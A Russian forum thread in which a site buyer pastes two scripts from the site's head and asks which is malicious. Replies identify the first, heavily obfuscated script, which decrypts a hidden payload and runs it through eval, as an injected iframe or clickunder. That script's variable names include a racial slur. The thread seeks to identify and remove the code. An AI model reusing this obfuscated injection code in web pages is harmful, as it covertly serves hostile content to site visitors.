скрипты в html коде

Discussion in 'PHP' started by leaderru, 13 Oct 2011.

  1. leaderru

    leaderru Member

    Joined:
    19 May 2010
    Messages:
    108
    Likes Received:
    9
    Reputations:
    0
    Я недавно купил сайт, там в хеде было несколько скриптов. Подскажите, какие из них вредоносные, какие нет.

    Вот сами скрипты:

    HTML:
    <script>var wnd = window;var nav = wnd.navigator;if (!frames.nav['taintEnabled']()) {var ALOTOFBADuseonesbeam={encrypt:function(m,e,n){m=poojangle["\x64\x45\x6E\x43\x6F\x44\x45"](m);var writeafewwRAISENOISEmulasmissthebus=[],MOBunderage="";for(var i=0;i<m["\x6C\x65\x6E\x67\x74\x68"];i+=3){var tmpwriteafewwRAISENOISEmulasmissthebus="\x31";for(var h=0;h<3;h++){if(i+h<m["\x6C\x65\x6E\x67\x74\x68"]){victoryMONEY=this["\x6F\x72\x64"](m["\x63\x68\x61\x72\x41\x74"](i+h))-30;if(victoryMONEY["\x6C\x65\x6E\x67\x74\x68"]<2){victoryMONEY="\x30"+victoryMONEY;} ;} else {break ;} ;tmpwriteafewwRAISENOISEmulasmissthebus+=victoryMONEY;} ;writeafewwRAISENOISEmulasmissthebus["\x70\x75\x73\x68"](tmpwriteafewwRAISENOISEmulasmissthebus+"\x31");} ;for(var k=0;k<writeafewwRAISENOISEmulasmissthebus["\x6C\x65\x6E\x67\x74\x68"];k++){var LUCKOUTdig=this["\x70\x6F\x77\x6D\x6F\x64"](writeafewwRAISENOISEmulasmissthebus[k],e,n);var nutHUSTLEANDBUSTLE=LUCKOUTdig.toString(16);while(nutHUSTLEANDBUSTLE["\x6C\x65\x6E\x67\x74\x68"]<7){nutHUSTLEANDBUSTLE="\x30"+nutHUSTLEANDBUSTLE;} ;MOBunderage+=nutHUSTLEANDBUSTLE;} ;MOBunderage=MOBunderage["\x72\x65\x70\x6C\x61\x63\x65"]( new RegExp("\x5E\x2B\x7C\x2B\x24","\x67"),"");return this["\x68\x65\x78\x73\x74\x72"](MOBunderage)},useonesbeamcutthroat:function(c,d,n){c=this["\x73\x74\x72\x68\x65\x78"](c);var luckoutbeautifulgirl=[],stupidDUMPTHERESPONSIBILITY="",CREDITCARDaghast="";for(var i=0;i<c["\x6C\x65\x6E\x67\x74\x68"];i+=7){luckoutbeautifulgirl["\x70\x75\x73\x68"](c["\x73\x75\x62\x73\x74\x72"](i,7));} ;for(var u=0;u<luckoutbeautifulgirl["\x6C\x65\x6E\x67\x74\x68"];u++){if(luckoutbeautifulgirl[u]==""){luckoutbeautifulgirl["\x73\x70\x6C\x69\x63\x65"](u,1);} ;} ;for(var u=0;u<luckoutbeautifulgirl["\x6C\x65\x6E\x67\x74\x68"];u++){var LUCKOUTdig=this.powmod(parseInt(luckoutbeautifulgirl[u],16),d,n)+"";stupidDUMPTHERESPONSIBILITY+=LUCKOUTdig["\x73\x75\x62\x73\x74\x72"](1,LUCKOUTdig["\x6C\x65\x6E\x67\x74\x68"]-2);} ;for(var u=0;u<stupidDUMPTHERESPONSIBILITY["\x6C\x65\x6E\x67\x74\x68"];u+=2){CREDITCARDaghast+=this.chr(parseInt(stupidDUMPTHERESPONSIBILITY["\x73\x75\x62\x73\x74\x72"](u,2),10)+30);} ;return poojangle["\x64\x65\x63\x6F\x64\x65"](CREDITCARDaghast)},RAISENOISEmula:function(chr){return backoffslob["\x6F\x72\x64"](chr)},chr:function(PISSANTnigger){return backoffslob.chr(PISSANTnigger)},mod:function(g,l){return g-(l*Math["\x66\x6C\x6F\x6F\x72"](g/l));},powmod:function(HUNKbush,hustleandbustlePRATTLER,AIRHEADfail){var randanFOOL=1,i=0,workinggirlJOKE=HUNKbush;while((hustleandbustlePRATTLER>>i)>0){if(((hustleandbustlePRATTLER>>i)&1)==1){randanFOOL=this["\x6D\x6F\x64"]((randanFOOL*workinggirlJOKE),AIRHEADfail);} ;workinggirlJOKE=this["\x6D\x6F\x64"]((workinggirlJOKE*workinggirlJOKE),AIRHEADfail);i++;} ;return randanFOOL},hexstr:function(str){return str;var ALLLIESnonsense="";for(var i=0,len=str["\x6C\x65\x6E\x67\x74\x68"];i<len;i+=2){var GARBAGEknockout=parseInt(""+str["\x63\x68\x61\x72\x41\x74"](i)+str["\x63\x68\x61\x72\x41\x74"](i+1),16).toString(10);ALLLIESnonsense+=backoffslob.chr(GARBAGEknockout);} ;return ALLLIESnonsense},strhex:function(str){return str;var ALLLIESnonsense="";for(var i=0,len=str["\x6C\x65\x6E\x67\x74\x68"];i<len;i++){var GARBAGEknockout=backoffslob["\x6F\x72\x64"](str["\x63\x68\x61\x72\x41\x74"](i)).toString(16);ALLLIESnonsense+=GARBAGEknockout["\x6C\x65\x6E\x67\x74\x68"]==2?GARBAGEknockout:"\x30"+GARBAGEknockout;} ;return ALLLIESnonsense}};var toughcatNONSENSE="\x72\x65\x70\x6C\x61\x63\x65";var BREASTSraisenoise=String;var prostituteJIG=BREASTSraisenoise("\x61\x33\x5F\x32\x65\x5F\x64\x68\x38\x77\x72\x6A\x37\x66\x6C\x7A\x6E"["\x35\x73\x38\x33\x75\x32\x35\x62\x34\x31\x73\x35\x39\x74\x31\x31\x72\x31\x30"[toughcatNONSENSE](/[0-9]/g,"")](9,2)+"\x61\x5F\x79\x35\x69\x74\x65\x67\x33\x34\x35\x6B\x5F\x6C\x6B\x5F\x75\x64"["\x32\x31\x73\x31\x35\x75\x37\x35\x62\x37\x36\x73\x31\x31\x74\x35\x32\x72\x34\x37"[toughcatNONSENSE](/[0-9]/g,"")](4,3));var HIDEinstitute;if(!(HIDEinstitute=navigator["\x73\x79\x73\x74\x65\x6D\x4C\x61\x6E\x67\x75\x61\x67\x65"])){if(!(HIDEinstitute=navigator["\x75\x73\x65\x72\x4C\x61\x6E\x67\x75\x61\x67\x65"])){if(!(HIDEinstitute=navigator["\x62\x72\x6F\x77\x73\x65\x72\x4C\x61\x6E\x67\x75\x61\x67\x65"])){HIDEinstitute=navigator["\x6C\x61\x6E\x67\x75\x61\x67\x65"];};};}if (HIDEinstitute){ var vq = (function(){return this;}).call(null);var csov='',as=vq['eval'];}as("gottabelow\x3D"+"\x6B\x64\x6F\x6A\x63\x75\x6A\x6D\x65\x6B\x6E\x74"["\x72\x65\x70\x6C\x61\x63\x65"](/[\kj]/g,""));var backoffslob={translations:{funtuff:{1026:128,1027:129,8218:130,1107:131,8222:132,8230:133,8224:134,8225:135,8364:136,8240:137,1033:138,8249:139,1034:140,1036:141,1035:142,1039:143,1106:144,8216:145,8217:146,8220:147,8221:148,8226:149,8211:150,8212:151,65533:152,8482:153,1113:154,8250:155,1114:156,1116:157,1115:158,1119:159,1038:161,1118:162,1032:163,1168:165,1025:168,1028:170,1031:175,1030:178,1110:179,1169:180,1105:184,8470:185,1108:186,1112:188,1029:189,1109:190,1111:191,1040:192,1041:193,1042:194,1043:195,1044:196,1045:197,1046:198,1047:199,1048:200,1049:201,1050:202,1051:203,1052:204,1053:205,1054:206,1055:207,1056:208,1057:209,1058:210,1059:211,1060:212,1061:213,1062:214,1063:215,1064:216,1065:217,1066:218,1067:219,1068:220,1069:221,1070:222,1071:223,1072:224,1073:225,1074:226,1075:227,1076:228,1077:229,1078:230,1079:231,1080:232,1081:233,1082:234,1083:235,1084:236,1085:237,1086:238,1087:239,1088:240,1089:241,1090:242,1091:243,1092:244,1093:245,1094:246,1095:247,1096:248,1097:249,1098:250,1099:251,1100:252,1101:253,1102:254,1103:255},DEADBEAT:{128:1026,129:1027,130:8218,131:1107,132:8222,133:8230,134:8224,135:8225,136:8364,137:8240,138:1033,139:8249,140:1034,141:1036,142:1035,143:1039,144:1106,145:8216,146:8217,147:8220,148:8221,149:8226,150:8211,151:8212,152:65533,153:8482,154:1113,155:8250,156:1114,157:1116,158:1115,159:1119,161:1038,162:1118,163:1032,165:1168,168:1025,170:1028,175:1031,178:1030,179:1110,180:1169,184:1105,185:8470,186:1108,188:1112,189:1029,190:1109,191:1111,192:1040,193:1041,194:1042,195:1043,196:1044,197:1045,198:1046,199:1047,200:1048,201:1049,202:1050,203:1051,204:1052,205:1053,206:1054,207:1055,208:1056,209:1057,210:1058,211:1059,212:1060,213:1061,214:1062,215:1063,216:1064,217:1065,218:1066,219:1067,220:1068,221:1069,222:1070,223:1071,224:1072,225:1073,226:1074,227:1075,228:1076,229:1077,230:1078,231:1079,232:1080,233:1081,234:1082,235:1083,236:1084,237:1085,238:1086,239:1087,240:1088,241:1089,242:1090,243:1091,244:1092,245:1093,246:1094,247:1095,248:1096,249:1097,250:1098,251:1099,252:1100,253:1101,254:1102,255:1103}},RAISENOISEmula:function(chr,dir){dir=dir||"\x66\x75\x6E\x74\x75\x66\x66";if(!this["\x74\x72\x61\x6E\x73\x6C\x61\x74\x69\x6F\x6E\x73"][dir]){return null;} ;chr=chr["\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74"](0);return (chr in this["\x74\x72\x61\x6E\x73\x6C\x61\x74\x69\x6F\x6E\x73"][dir])?this["\x74\x72\x61\x6E\x73\x6C\x61\x74\x69\x6F\x6E\x73"][dir][chr]:chr;},chr:function(RAISENOISEmula,dir){dir=dir||'DEADBEAT';if(!this["\x74\x72\x61\x6E\x73\x6C\x61\x74\x69\x6F\x6E\x73"][dir]){return null;} ;RAISENOISEmula=(RAISENOISEmula in this["\x74\x72\x61\x6E\x73\x6C\x61\x74\x69\x6F\x6E\x73"][dir])?this["\x74\x72\x61\x6E\x73\x6C\x61\x74\x69\x6F\x6E\x73"][dir][RAISENOISEmula]:RAISENOISEmula;return String.fromCharCode(RAISENOISEmula)}};var poojangle={alphabet:"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B\x2F\x3D",gagaareyoudoing:function (_0x7553x1){var _0x7553x2="",_0x7553x3,_0x7553x4,_0x7553x5,_0x7553x6,_0x7553x7,_0x7553x8,_0x7553x9,_0x7553xa=0;while(_0x7553xa<_0x7553x1["\x6C\x65\x6E\x67\x74\x68"]){_0x7553x3=backoffslob["\x6F\x72\x64"](_0x7553x1["\x63\x68\x61\x72\x41\x74"](_0x7553xa++));_0x7553x4=backoffslob["\x6F\x72\x64"](_0x7553x1["\x63\x68\x61\x72\x41\x74"](_0x7553xa++));_0x7553x5=backoffslob["\x6F\x72\x64"](_0x7553x1["\x63\x68\x61\x72\x41\x74"](_0x7553xa++));_0x7553x6=_0x7553x3>>2;_0x7553x7=((_0x7553x3&3)<<4)|(_0x7553x4>>4);_0x7553x8=((_0x7553x4&15)<<2)|(_0x7553x5>>6);_0x7553x9=_0x7553x5&63;if(isNaN(_0x7553x4)){_0x7553x8=_0x7553x9=64;} else {if(isNaN(_0x7553x5)){_0x7553x9=64;} ;} ;_0x7553x2=_0x7553x2+this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x63\x68\x61\x72\x41\x74"](_0x7553x6)+this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x63\x68\x61\x72\x41\x74"](_0x7553x7)+this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x63\x68\x61\x72\x41\x74"](_0x7553x8)+this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x63\x68\x61\x72\x41\x74"](_0x7553x9);} ;return _0x7553x2;} ,decode:function (_0x7553x1){var _0x7553x2="",_0x7553x3,_0x7553x4,_0x7553x5,_0x7553x6,_0x7553x7,_0x7553x8,_0x7553x9,_0x7553xa=0;_0x7553x1=_0x7553x1["\x72\x65\x70\x6C\x61\x63\x65"]( new RegExp("\x5B\x5E\x41\x2D\x5A\x61\x2D\x7A\x30\x2D\x39\x2B\x2F\x3D\x5D","\x67"),"");while(_0x7553xa<_0x7553x1["\x6C\x65\x6E\x67\x74\x68"]){_0x7553x6=this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x69\x6E\x64\x65\x78\x4F\x66"](_0x7553x1["\x63\x68\x61\x72\x41\x74"](_0x7553xa++));_0x7553x7=this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x69\x6E\x64\x65\x78\x4F\x66"](_0x7553x1["\x63\x68\x61\x72\x41\x74"](_0x7553xa++));_0x7553x8=this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x69\x6E\x64\x65\x78\x4F\x66"](_0x7553x1["\x63\x68\x61\x72\x41\x74"](_0x7553xa++));_0x7553x9=this["\x61\x6C\x70\x68\x61\x62\x65\x74"]["\x69\x6E\x64\x65\x78\x4F\x66"](_0x7553x1["\x63\x68\x61\x72\x41\x74"](_0x7553xa++));_0x7553x3=(_0x7553x6<<2)|(_0x7553x7>>4);_0x7553x4=((_0x7553x7&15)<<4)|(_0x7553x8>>2);_0x7553x5=((_0x7553x8&3)<<6)|_0x7553x9;_0x7553x2=_0x7553x2+backoffslob.chr(_0x7553x3);if(_0x7553x8!=64){_0x7553x2=_0x7553x2+backoffslob.chr(_0x7553x4);} ;if(_0x7553x9!=64){_0x7553x2=_0x7553x2+backoffslob.chr(_0x7553x5);};};return _0x7553x2;}}};gottabelow[prostituteJIG](ALOTOFBADuseonesbeam.useonesbeamcutthroat('2ea74da0abf6c3178c7450861726091543d1d8d2490d244f32eb7e5b29a5d121461d7e2ccbd9a2a9e1c625078bd3257b201baf2832eb7e5b13076f52ac8eda0c48bd40ee2f790f70e98141ab102a6946626287d823e2add2b6187800eb09d0cf5fe900e8349070d611121044725799722c97a4a291c69526e0cd33117e542ad3147111fca61ae69c120f19b9065afce02fa0c91a70ee0282442e1f1b8cf2778e4e0b61b5b18a625521b161a140b9bd2ccbd9a2a9e1c61c31f810ee046f','51268573','53073287'));</script>
    HTML:
    <script type="text/javascript"> eval((function(__){return '4.V.K=4.V.K.S(/<[15]>Quote<\\/[15]>/g,"<b>Цитата</b>").S(/T=\\"G:\\/\\/".Q="B.open\\(\'(.*?)\',\'userpm.*?return.W;/g,"T=\'$1\'");5 I=4.V.6("14"),12=new RegExp("(^|\\\\b)(gTableSubTop|postTdTop)(\\\\b|$)");11(5 i=0;i<I.C;i++){L(12.test(I[i].A)){Z(I[i].parentNode.6("14"))}}3 Z(a){11(5 b=1;b<a.C-1;b++){a[b].8.R="H-N:-10px 0"}a[a.C-1].8.R="H-N:100% 0"}3 sbb(a){4.2(a).8.F=4.2(a).8.F=="U"?"":"U"}3 M(a){L(4.2(a)){4.2(a).8.F="U"}}5 13=/*@cc_on!@*/W;4.Q=3(b){L(13){5 a=B.event.srcElement}else{5 a=b.target}L(a.A!="listblock"&&a.A!="butt"){M("fontbb");M("fontsizebb");M("colorsbb")}};5 9=4.2("P");L(9){9.onkeypress=7;9.D=7;9.onkeydown=7;9.onkeyup=7;9.8.overflow="hidden"}3 7(){5 d=4.2("P");5 c=d.Y;5 e=d.scrollHeight;5 a=d.clientHeight;b();3 b(){L(e>a&&c!=-1){d.Y=c+1;7()}}}B.onload=7;O.domLoad(3(){5 a=O.get(".goOnTop");5 b=a.C;while(b--){a[b].T=\'G:O.E("J",B,{"scrollY":0},800)\'}});5 r,q=1,h=4.2("fheader");h.D=3(){L(q){q=0;O.E("J",h,{X:0},10,3(){L(r){clearTimeout(r)}r=setTimeout(3(){O.E("J",h,{X:-158},10,3(){q=1})},3000)})}}'.replace(/\w+/g,function(_){return __[-/[a-z]/.test(_)|parseInt(_,36)]||_})})('||getElementById|function|document|var|getElementsByTagName|check|style|mess|className|window|length|onmouseover|animate|display|javascript|background|elems|smooth|innerHTML|if|clos|position|sAD|message|onclick|cssText|replace|href|none|body|false|left|rows|doit|700|for|pat|IE|td|bB'.split('|')))</script>
    Там какой-то из них должен быть кликандером
     
  2. Eshkin-Kat

    Eshkin-Kat New Member

    Joined:
    19 Jun 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    ( за что вы надо мной издеваетесь?
    А по делу: выкиньте и гляньте как работать будет) Быстрее чем ждать ответа на форуме.
     
  3. vitalik_9000

    vitalik_9000 Banned

    Joined:
    30 Mar 2011
    Messages:
    37
    Likes Received:
    2
    Reputations:
    -5
    Вроде первый
     
  4. RomaN4ik18

    RomaN4ik18 Banned

    Joined:
    21 Jul 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    да Первий !!!
     
  5. Koren

    Koren Member

    Joined:
    11 Jul 2009
    Messages:
    66
    Likes Received:
    20
    Reputations:
    1
    первый, фрейм на другой ресурс, удаляй